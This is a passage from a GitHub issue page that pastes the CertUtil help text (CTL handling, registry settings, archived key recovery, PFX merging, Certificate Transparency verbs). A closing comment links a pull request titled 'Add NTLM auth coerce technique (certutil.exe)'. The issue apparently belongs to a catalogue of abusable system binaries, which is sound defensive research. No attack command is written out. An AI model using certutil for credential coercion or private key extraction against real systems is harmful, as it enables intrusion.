      cache. Use -f to download from Windows Update instead.

    DisallowedWU -- read Disallowed Certificates CAB and disallowed
      certificate store file from the URL cache. Use -f to download
      from Windows Update instead.

    PinRulesWU -- read PinRules CAB from the URL cache. Use -f to download
      from Windows Update instead.

    AuthRoot -- read registry cached AuthRoot CTL. Use with -f and a
      CertFile that is not already trusted to force updating the
      registry cached AuthRoot and Disallowed Certificate CTLs.

    Disallowed -- read registry cached Disallowed Certificates CTL.
      -f has the same behavior as with AuthRoot.

    PinRules -- read registry cached PinRules CTL.
      -f has the same behavior as with PinRulesWU.

    CTLFileName -- file or http: path to CTL or CAB

  CertDir -- folder containing certificates matching CTL entries
    An http: folder path must end with a path separator.
    If a folder is not specified with AuthRoot or Disallowed, multiple
    locations will be searched for matching certificates: local
    certificate stores, crypt32.dll resources and the local URL cache.
    Use -f to download from Windows Update when necessary.
    Otherwise defaults to the same folder or web site as the CTLObject.

  CertFile -- file containing certificate(s) to verify. Certificates
    will be matched against CTL entries, and match results displayed.
    Suppresses most of the default output.
[-f] [-user] [-split]

CertUtil [Options] -syncWithWU DestinationDir
Sync with Windows Update
  DestinationDir -- folder to copy to.
    The following files are downloaded from Windows Update:
      authrootstl.cab - contains CTL of Third Party Roots.
      disallowedcertstl.cab - contains CTL of Disallowed Certificates.
```

```
disallowedcert.sst - Disallowed Certificates.
pinrulesstl.cab - contains CTL of SSL Pin Rules.
pinrules.sst - Pin Rules Certificates.
<thumbprint>.crt - Third Party Roots.

[-f]

CertUtil [Options] -generateSSTFromWU SSTFile
Generate SST from Windows Update
SSTFile -- .sst file to be created.
The generated .sst file contains the Third Party Roots
downloaded from Windows Update.

[-f] [-split]

CertUtil [Options] -generatePinRulesCTL XMLFile CTLFile [SSTFile [QueryFilesPre
Generate Pin Rules CTL
XMLFile -- input XML file to be parsed.
CTLFile -- output CTL file to be generated.
SSTFile -- optional .sst file to be created.
The .sst file contains all of the certificates
used for pinning.
QueryFilesPrefix -- optional Domains.csv and Keys.csv files to be created for
The QueryFilesPrefix string is prepended to each created file.
The Domains.csv file contains rule name, domain rows.
The Keys.csv file contains rule name, key SHA256 thumbprint rows.

[-f]

CertUtil [Options] -downloadOcsp CertificateDir OcspDir [ThreadCount] [Modifier
Download OCSP Responses and Write to Directory
CertificateDir -- directory of certificate, store and PFX files.
OcspDir -- directory to write OCSP responses.
ThreadCount -- optional maximum number of threads for concurrent downloadi
Modifiers -- Comma separated list of one or more of the following:
DownloadOnce -- Download once and exit
ReadOcsp -- Read from OcspDir instead of writing
By default, certutil won't exit and must be explicitly terminated.
Modifiers:
DownloadOnce
ReadOcsp

CertUtil [Options] -generateHpkpHeader CertFileOrDir MaxAge [ReportUri] [Modifi
Generate HPKP header using certificates in specified file or directory
CertFileOrDir -- file or directory of certificates. Source of pin-sha256.
MaxAge -- max-age value in seconds.
ReportUri -- optional report-uri.
Modifiers -- Comma separated list of one or more of the following:
includeSubDomains -- append includeSubDomains.
Modifiers:
includeSubDomains

CertUtil [Options] -flushCache ProcessId CacheMask [Modifiers]
Flush specified caches in selected process, such as, lsass.exe
ProcessId -- numeric id of process to flush. Set to 0 to flush all processes
CacheMask -- bit mask of caches to be flushed. Numeric OR of following bits:
0x01: CERT_WNF_FLUSH_CACHE_REVOCATION
0x02: CERT_WNF_FLUSH_CACHE_OFFLINE_URL
0x04: CERT_WNF_FLUSH_CACHE_MACHINE_CHAIN_ENGINE
0x08: CERT_WNF_FLUSH_CACHE_USER_CHAIN_ENGINES
0x10: CERT_WNF_FLUSH_CACHE_SERIAL_CHAIN_CERTS
0x20: CERT_WNF_FLUSH_CACHE_SSL_TIME_CERTS
0x40: CERT_WNF_FLUSH_CACHE_OCSP_STAPLING
0: ShowOnly
Modifiers -- Comma separated list of one or more of the following:
Show - Show caches being flushed. Certutil must be explicitly termina
Modifiers:
Show

CertUtil [Options] -addEccCurve [CurveClass:]CurveName CurveParameters [CurveOI
Add ECC Curve

CurveClass: -- ECC Curve Class Type:
- WEIERSTRASS [Default]
- MONTGOMERY
- TWISTED_EDWARDS

CurveName -- ECC Curve Name

CurveParameters -- ECC Curve Parameters. It is one of the following
- Certificate Filename Containing ASN Encoded Parame
- File Containing ASN Encoded Parameters

CurveOID -- ECC Curve OID. It is one of the following:
- Certificate Filename Containing ASN Encoded OID
- Explicit ECC Curve OID

CurveType -- Schannel ECC NamedCurve Point (Numeric)

[-f]
```

```
CertUtil [Options] -deleteEccCurve CurveName | CurveOID
Delete ECC Curve
    CurveName -- ECC Curve Name
    CurveOID  -- ECC Curve OID
[-f]

CertUtil [Options] -displayEccCurve [CurveName | CurveOID]
Display ECC Curve
    CurveName -- ECC Curve name
    CurveOID  -- ECC Curve OID
[-f]

CertUtil [Options] -sign InFileList|SerialNumber|CRL OutFileList [StartDate[+|-
CertUtil [Options] -sign InFileList|SerialNumber|CRL OutFileList [#HashAlgorith
CertUtil [Options] -sign InFileList OutFileList [Subject:CN=...] [Issuer:hex da
Re-sign CRL or certificate
    InFileList -- comma separated list of Certificate or CRL files to modify
                  and re-sign
    SerialNumber -- Serial number of certificate to create
                  Validity period and other options must not be present
    CRL -- Create an empty CRL
                  Validity period and other options must not be present
    OutFileList -- comma separated list of modified Certificate or CRL output
                  files. The number of files must match InFileList.
    StartDate[+|-dd:hh][+|-dd:hh -- new validity period: optional date plus
                  optional days and hours start date offset and optional
                  days and hours validity period
                  If multiple fields are used, use a (+) or (-) separator
                  Use "now[+dd:hh]" to start at the current time
                  Use "now-dd:hh+dd:hh" to start at a fixed offset from the current
                  time and a fixed validity period
                  Use "never" to have no expiration date (for CRLs only)
    SerialNumberList -- comma separated serial number list to add or remove
    ObjectIdList -- comma separated extension ObjectId list to remove
    @ExtensionFile -- INF file containing extensions to update or remove:
        [Extensions]
        2.5.29.31 = ; Remove CRL Distribution Points extension
        2.5.29.15 = "{hex}" ; Update Key Usage extension
        _continue_="03 02 01 86"
    HashAlgorithm -- Name of the hash algorithm preceded by a # sign
    AlternateSignatureAlgorithm -- alternate Signature algorithm specifier

A minus sign causes serial numbers and extensions to be removed.
A plus sign causes serial numbers to be added to a CRL.
When removing items from a CRL, the list may contain both serial numbers
and ObjectIds.
A minus sign before AlternateSignatureAlgorithm causes the legacy signature f
A plus sign before AlternateSignatureAlgorithm causes the alternature signatu
If AlternateSignatureAlgorithm is not specifed then the signature format in t
[-nullsign] [-f] [-user] [-Silent] [-Cert CertId] [-csp Provider]

CertUtil [Options] -vroot [delete]
Create/delete web virtual roots and file shares

CertUtil [Options] -vocsproot [delete]
Create/delete web virtual roots for OCSP web proxy

CertUtil [Options] -addEnrollmentServer Kerberos | UserName | ClientCertificate
Add an Enrollment Server application
    Add an Enrollment Server application and application pool if necessary,
    for the specified CA. This command does not install binaries or packages
    One of the following authentication methods with which the client connects
    to a Certificate Enrollment Server
        Kerberos -- Use Kerberos SSL credentials
        UserName -- Use named account for SSL credentials
        ClientCertificate -- Use X.509 Certificate SSL credentials
        AllowRenewalsOnly -- Only renewal requests can be submitted to this
                           CA via this URL
        AllowKeyBasedRenewal -- Allows use of a certificate that has no
                               associated account in the AD. This applies only
                               with ClientCertificate and AllowRenewalsOnly mode.
    [-config Machine\CAName]
Modifiers:
    AllowRenewalsOnly
    AllowKeyBasedRenewal

CertUtil [Options] -deleteEnrollmentServer Kerberos | UserName | ClientCertific
Delete an Enrollment Server application
    Delete an Enrollment Server application and application pool if necessary,
    for the specified CA. This command does not remove binaries or packages
    One of the following authentication methods with which the client connects
    to a Certificate Enrollment Server
        Kerberos -- Use Kerberos SSL credentials
        UserName -- Use named account for SSL credentials
```

```
ClientCertificate -- Use X.509 Certificate SSL credentials.
[-config Machine\CAName]

CertUtil [Options] -addPolicyServer Kerberos | UserName | ClientCertificate [Ke
Add a Policy Server application
Add a Policy Server application and application pool if necessary. This comma
does not install binaries or packages
One of the following authentication methods with which the client connects
to a Certificate Policy Server
    Kerberos -- Use Kerberos SSL credentials
    UserName -- Use named account for SSL credentials
    ClientCertificate -- Use X.509 Certificate SSL credentials
    KeyBasedRenewal -- Only policies that contain KeyBasedRenewal
                        templates are returned to the client. This flag
                        applies only for UserName and ClientCertificate
                        authentication.

CertUtil [Options] -deletePolicyServer Kerberos | UserName | ClientCertificate
Delete a Policy Server application
Delete a Policy Server application and application pool if necessary. This
command does not remove binaries or packages
One of the following authentication methods with which the client connects
to a Certificate Policy Server
    Kerberos -- Use Kerberos SSL credentials
    UserName -- Use named account for SSL credentials
    ClientCertificate -- Use X.509 Certificate SSL credentials
    KeyBasedRenewal -- KeyBasedRenewal policy server.

CertUtil [Options] -oid ObjectId [DisplayName | delete [LanguageId [Type]]]
CertUtil [Options] -oid GroupId
CertUtil [Options] -oid AlgId | AlgorithmName [GroupId]
Display ObjectId or set display name
    ObjectId -- ObjectId to display or to add display name
    GroupId -- decimal GroupId number for ObjectIds to enumerate
    AlgId -- hexadecimal AlgId for ObjectId to look up
    AlgorithmName -- Algorithm Name for ObjectId to look up
    DisplayName -- Display Name to store in DS
    delete -- delete display name
    LanguageId -- Language Id (defaults to current: 1033)
    Type -- DS object type to create: 1 for Template (default),
           2 for Issuance Policy, 3 for Application Policy
    Use -f to create DS object.
[-f]

CertUtil [Options] -error ErrorCode
Display error code message text

CertUtil [Options] -getreg [{ca|restore|policy|exit|template|enroll|chain|Polic
Display registry value
    ca -- Use CA's registry key
    restore -- Use CA's restore registry key
    policy -- Use policy module's registry key
    exit -- Use first exit module's registry key
    template -- Use template registry key (use -user for user templates)
    enroll -- Use enrollment registry key (use -user for user context)
    chain -- Use chain configuration registry key
    PolicyServers -- Use Policy Servers registry key
    ProgId -- Use policy or exit module's ProgId (registry subkey name)

RegistryValueName -- registry value name (use "Name*" to prefix match)
Value -- new numeric, string or date registry value or filename.
    If a numeric value starts with "+" or "-", the bits specified
    in the new value are set or cleared in the existing registry value.

    If a string value starts with "+" or "-", and the existing value
    is a REG_MULTI_SZ value, the string is added to or removed from
    the existing registry value.
    To force creation of a REG_MULTI_SZ value, add a "\n" to the end
    of the string value.

    If the value starts with "@", the rest of the value is the name
    of the file containing the hexadecimal text representation
    of a binary value.
    If it does not refer to a valid file, it is instead parsed as
    [Date][+|-][dd:hh] -- an optional date plus or minus optional
    days and hours.
    If both are specified, use a plus sign (+) or minus sign (-) separator.
    Use "now+dd:hh" for a date relative to the current time.
    Use "i64" as a suffix to create a REG_QWORD value.

Use "chain\ChainCacheResyncFiletime @now" to effectively flush cached CRLs.
[-f] [-Enterprise] [-user] [-GroupPolicy] [-config Machine\CAName]

Registry Aliases:
    Config
    CA
```

Policy	PolicyModules
Exit	ExitModules
Restore	RestoreInProgress
Template	Software\Microsoft\Cryptography\CertificateTemplateCache
Enroll	Software\Microsoft\Cryptography\AutoEnrollment (Software\Pol
MSCEP	Software\Microsoft\Cryptography\MSCEP
Chain	Software\Microsoft\Cryptography\OID\EncodingType 0\CertDllCr
PolicyServers	Software\Microsoft\Cryptography\PolicyServers (Software\Pol
Crypt32	System\CurrentControlSet\Services\crypt32
NGC	System\CurrentControlSet\Control\Cryptography\Ngc
AutoUpdate	Software\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Passport	Software\Policies\Microsoft\PassportForWork
MDM	Software\Microsoft\Policies\PassportForWork

CertUtil [Options] -setreg [{ca|restore|policy|exit|template|enroll|chain|Polic  
Set registry value

ca -- Use CA's registry key  
restore -- Use CA's restore registry key  
policy -- Use policy module's registry key  
exit -- Use first exit module's registry key  
template -- Use template registry key (use -user for user templates)  
enroll -- Use enrollment registry key (use -user for user context)  
chain -- Use chain configuration registry key  
PolicyServers -- Use Policy Servers registry key  
ProgId -- Use policy or exit module's ProgId (registry subkey name)

RegistryValueName -- registry value name (use "Name\*" to prefix match)  
Value -- new numeric, string or date registry value or filename.  
If a numeric value starts with "+" or "-", the bits specified  
in the new value are set or cleared in the existing registry value.

If a string value starts with "+" or "-", and the existing value  
is a REG\_MULTI\_SZ value, the string is added to or removed from  
the existing registry value.  
To force creation of a REG\_MULTI\_SZ value, add a "\n" to the end  
of the string value.

If the value starts with "@", the rest of the value is the name  
of the file containing the hexadecimal text representation  
of a binary value.  
If it does not refer to a valid file, it is instead parsed as  
[Date][+|-][dd:hh] -- an optional date plus or minus optional  
days and hours.  
If both are specified, use a plus sign (+) or minus sign (-) separator.  
Use "now+dd:hh" for a date relative to the current time.  
Use "i64" as a suffix to create a REG\_QWORD value.

Use "chain\ChainCacheResyncFiletime @now" to effectively flush cached CRLs.  
[-f] [-Enterprise] [-user] [-GroupPolicy] [-config Machine\CAName]

CertUtil [Options] -delreg [{ca|restore|policy|exit|template|enroll|chain|Polic  
Delete registry value

ca -- Use CA's registry key  
restore -- Use CA's restore registry key  
policy -- Use policy module's registry key  
exit -- Use first exit module's registry key  
template -- Use template registry key (use -user for user templates)  
enroll -- Use enrollment registry key (use -user for user context)  
chain -- Use chain configuration registry key  
PolicyServers -- Use Policy Servers registry key  
ProgId -- Use policy or exit module's ProgId (registry subkey name)

RegistryValueName -- registry value name (use "Name\*" to prefix match)  
Value -- new numeric, string or date registry value or filename.  
If a numeric value starts with "+" or "-", the bits specified  
in the new value are set or cleared in the existing registry value.

If a string value starts with "+" or "-", and the existing value  
is a REG\_MULTI\_SZ value, the string is added to or removed from  
the existing registry value.  
To force creation of a REG\_MULTI\_SZ value, add a "\n" to the end  
of the string value.

If the value starts with "@", the rest of the value is the name  
of the file containing the hexadecimal text representation  
of a binary value.  
If it does not refer to a valid file, it is instead parsed as  
[Date][+|-][dd:hh] -- an optional date plus or minus optional  
days and hours.  
If both are specified, use a plus sign (+) or minus sign (-) separator.  
Use "now+dd:hh" for a date relative to the current time.  
Use "i64" as a suffix to create a REG\_QWORD value.

Use "chain\ChainCacheResyncFiletime @now" to effectively flush cached CRLs.  
[-f] [-Enterprise] [-user] [-GroupPolicy] [-config Machine\CAName]



```
Registry Aliases:
Config
CA
Policy      PolicyModules
Exit        ExitModules
Restore     RestoreInProgress
Template    Software\Microsoft\Cryptography\CertificateTemplateCache
Enroll      Software\Microsoft\Cryptography\AutoEnrollment (Software\Pol
MSCEP      Software\Microsoft\Cryptography\MSCEP
Chain       Software\Microsoft\Cryptography\OID\EncodingType 0\CertDllCr
PolicyServers Software\Microsoft\Cryptography\PolicyServers (Software\Pol
Crypt32     System\CurrentControlSet\Services\crypt32
NGC         System\CurrentControlSet\Control\Cryptography\Ngc
AutoUpdate  Software\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Passport    Software\Policies\Microsoft\PassportForWork
MDM         Software\Microsoft\Policies\PassportForWork

CertUtil [Options] -ImportKMS UserKeyAndCertFile [CertId]
Import user keys and certificates into server database for key archival
UserKeyAndCertFile -- Data file containing user private keys and
certificates to be archived. This can be any of the following:
    Exchange Key Management Server (KMS) export file
    PFX file
CertId -- KMS export file decryption certificate match token. See -store.
Use -f to import certificates not issued by the CA.
[-f] [-Silent] [-split] [-config Machine\CAName] [-p Password] [-symkeyalg Sy

CertUtil [Options] -ImportCert Certfile [ExistingRow]
Import a certificate file into the database
Use ExistingRow to import the certificate in place of a pending request for t
Use -f to import certificates not issued by the CA.
The CA may also need to be configured to support foreign certificate import:
    certutil -setreg ca\KRAFlags +KRAF_ENABLEFOREIGN
[-f] [-config Machine\CAName]

CertUtil [Options] -GetKey SearchToken [RecoveryBlobOutFile]
CertUtil [Options] -GetKey SearchToken script OutputScriptFile
CertUtil [Options] -GetKey SearchToken retrieve | recover OutputFileBaseName
Retrieve archived private key recovery blob, generate a recovery script,
or recover archived keys
script -- generate a script to retrieve and recover keys (default behavior
    if multiple matching recovery candidates are found, or if the
    output file is not specified).
retrieve -- retrieve one or more Key Recovery Blobs (default behavior if
    exactly one matching recovery candidate is found, and if the output
    file is specified)
recover -- retrieve and recover private keys in one step (requires Key
    Recovery Agent certificates and private keys)
SearchToken -- Used to select the keys and certificates to be recovered.
    Can be any of the following:
    Certificate Common Name
    Certificate Serial Number
    Certificate SHA-1 hash (thumbprint)
    Certificate KeyId SHA-1 hash (Subject Key Identifier)
    Requester Name (domain\user)
    UPN (user@domain)
RecoveryBlobOutFile -- output file containing a certificate chain and an
    associated private key, still encrypted to one or more Key Recovery
    Agent certificates.
OutputScriptFile -- output file containing a batch script to retrieve and
    recover private keys.
OutputFileBaseName -- output file base name.
    For retrieve, any extension is truncated and a certificate-specific
    string and the .rec extension are appended for each key recovery
    blob. Each file contains a certificate chain and an associated
    private key, still encrypted to one or more Key Recovery Agent
    certificates.
    For recover, any extension is truncated and the .p12 extension is
    appended. Contains the recovered certificate chains and associated
    private keys, stored as a PFX file.
[-f] [-UnicodeText] [-Silent] [-config Machine\CAName] [-p Password] [-Protec

CertUtil [Options] -RecoverKey RecoveryBlobInFile [PFXOutFile [RecipientIndex]]
Recover archived private key
[-f] [-user] [-Silent] [-split] [-p Password] [-ProtectTo SAMNameAndSIDList]

CertUtil [Options] -MergePFX PFXInFileList PFXOutFile [Modifiers]
Merge PFX files
PFXInFileList -- Comma separated PFX input file list
PFXOutFile -- PFX output file
Modifiers -- Comma separated list of one or more of the following:
    ExtendedProperties -- Include extended properties
    NoEncryptCert -- Do not encrypt the certificates
    EncryptCert -- Encrypt the certificates
The password specified on the command line is a comma separated password
list. If more than one password is specified, the last password is used
```



for the output file. If only one password is provided or if the last password is "\*", the user will be prompted for the output file password.  
[-f] [-user] [-split] [-p Password] [-ProtectTo SAMNameAndSIDList] [-csp Prov

CertUtil [Options] -ConvertEPF PFXInFileList EPFOutFile [cast | cast-] [V3CACer  
Convert PFX files to EPF file  
PFXInFileList -- Comma separated PFX input file list  
EPF -- EPF output file  
cast -- Use CAST 64 encryption  
cast- -- Use CAST 64 encryption (export)  
V3CACertId -- V3 CA Certificate match token. See -store CertId description.  
Salt -- EPF output file salt string  
The password specified on the command line is a comma separated password list. If more than one password is specified, the last password is used for the output file. If only one password is provided or if the last password is "\*", the user will be prompted for the output file password.  
[-f] [-Silent] [-split] [-dc DCName] [-p Password] [-csp Provider]

CertUtil [Options] -add-chain LogId certificate OutFile  
Add certificate chain  
[-f]

CertUtil [Options] -add-pre-chain LogId pre-certificate OutFile  
Add pre-certificate chain  
[-f]

CertUtil [Options] -get-sth [LogId]  
Get signed tree head  
[-f]

CertUtil [Options] -get-sth-consistency LogId TreeSize1 TreeSize2  
Get signed tree head changes  
[-f]

CertUtil [Options] -get-proof-by-hash LogId Hash [TreeSize]  
Get proof by hash  
[-f]

CertUtil [Options] -get-entries LogId FirstIndex LastIndex  
Get entries  
[-f]

CertUtil [Options] -get-roots LogId  
Get roots  
[-f]

CertUtil [Options] -get-entry-and-proof LogId Index [TreeSize]  
Get entry and proof  
[-f]

CertUtil [Options] -VerifyCT Certificate SCT [precert]  
Verify certificate SCT  
[-f]

CertUtil [Options] -?  
Display this usage message

Options:

-nullsign	-- Use hash of data as signature
-f	-- Force overwrite
-Enterprise	-- (-ent) Use local machine Enterprise registry certificate s
-user	-- Use HKEY_CURRENT_USER keys or certificate store
-GroupPolicy	-- (-gp) Use Group Policy certificate store
-ut	-- Display user templates
-mt	-- Display machine templates
-Unicode	-- Write redirected output in Unicode
-UnicodeText	-- Write output file in Unicode
-gmt	-- Display times as GMT
-seconds	-- Display times with seconds and milliseconds
-Silent	-- (-q) Use silent flag to acquire crypt context
-split	-- Split embedded ASN.1 elements, and save to files
-v	-- Verbose operation
-privatekey	-- Display password and private key data
-pin PIN	-- Smart Card PIN
-urlfetch	-- Retrieve and verify AIA Certs and CDP CRLs
-config Machine\CAName	-- CA and Machine name string
-PolicyServer URLOrId	-- Policy Server URL or Id
For selection U/I, use -PolicyServer -	
For all Policy Servers, use -PolicyServer *	
-Anonymous	-- Use anonymous SSL credentials
-Kerberos	-- Use Kerberos SSL credentials
-ClientCertificate ClientCertId	-- Use X.509 Certificate SSL credentials
For selection U/I, use -ClientCertificate -	
-UserName UserName	-- Use named account for SSL credentials
For selection U/I, use -UserName -	
-Cert CertId	-- Signing certificate

```
-dc DCName -- Target a specific Domain Controller
-restrict RestrictionList -- Comma separated Restriction List
    Each restriction consists of a column name, a relational operator and
    a constant integer, string or date. One column name may be preceded
    by a plus or minus sign to indicate the sort order.
    Examples:
        "RequestId = 47"
        "+RequesterName >= a, RequesterName < b"
        "-RequesterName > DOMAIN, Disposition = 21"
-out ColumnList -- Comma separated Column List
-p Password -- Password
-ProtectTo SAMNameAndSIDList -- Comma separated SAM Name/SID List
-csp Provider -- Provider
    KSP -- "Microsoft Software Key Storage Provider"
    TPM -- "Microsoft Platform Crypto Provider"
    NGC -- "Microsoft Passport Key Storage Provider"
    SC -- "Microsoft Smart Card Key Storage Provider"
-Location AlternateStorageLocation -- (-loc) AlternateStorageLocation
    AIK -- "C:\ProgramData\Microsoft\Crypto\PCPKSP\WindowsAIK"
-t Timeout -- URL fetch timeout in milliseconds
-symkeyalg SymmetricKeyAlgorithm[,KeyLength] -- Name of Symmetric Key Algorithm
-sid WELL_KNOWN_SID_TYPE -- Numeric SID
    22 -- Local System
    23 -- Local Service
    24 -- Network Service
-sslpolicy ServerName -- SSL Policy matching ServerName

Hash algorithms: MD2 MD4 MD5 SHA1 SHA256 SHA384 SHA512

CertUtil -? -- Display a verb list (command list)
CertUtil -dump -? -- Display help text for the "dump" verb
CertUtil -v -? -- Display all help text for all verbs

CertUtil: -? command completed successfully.
```

👍 1



nuts7 commented on Oct 11, 2023



Hi, [#337](#)




 wietze linked a pull request [on Oct 19, 2023](#) that will close this issue

Add NTLM auth coerce technique (certutil.exe) #337

🔒 Closed



 wietze closed this as [completed](#) on Oct 2

Sign up for free

to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

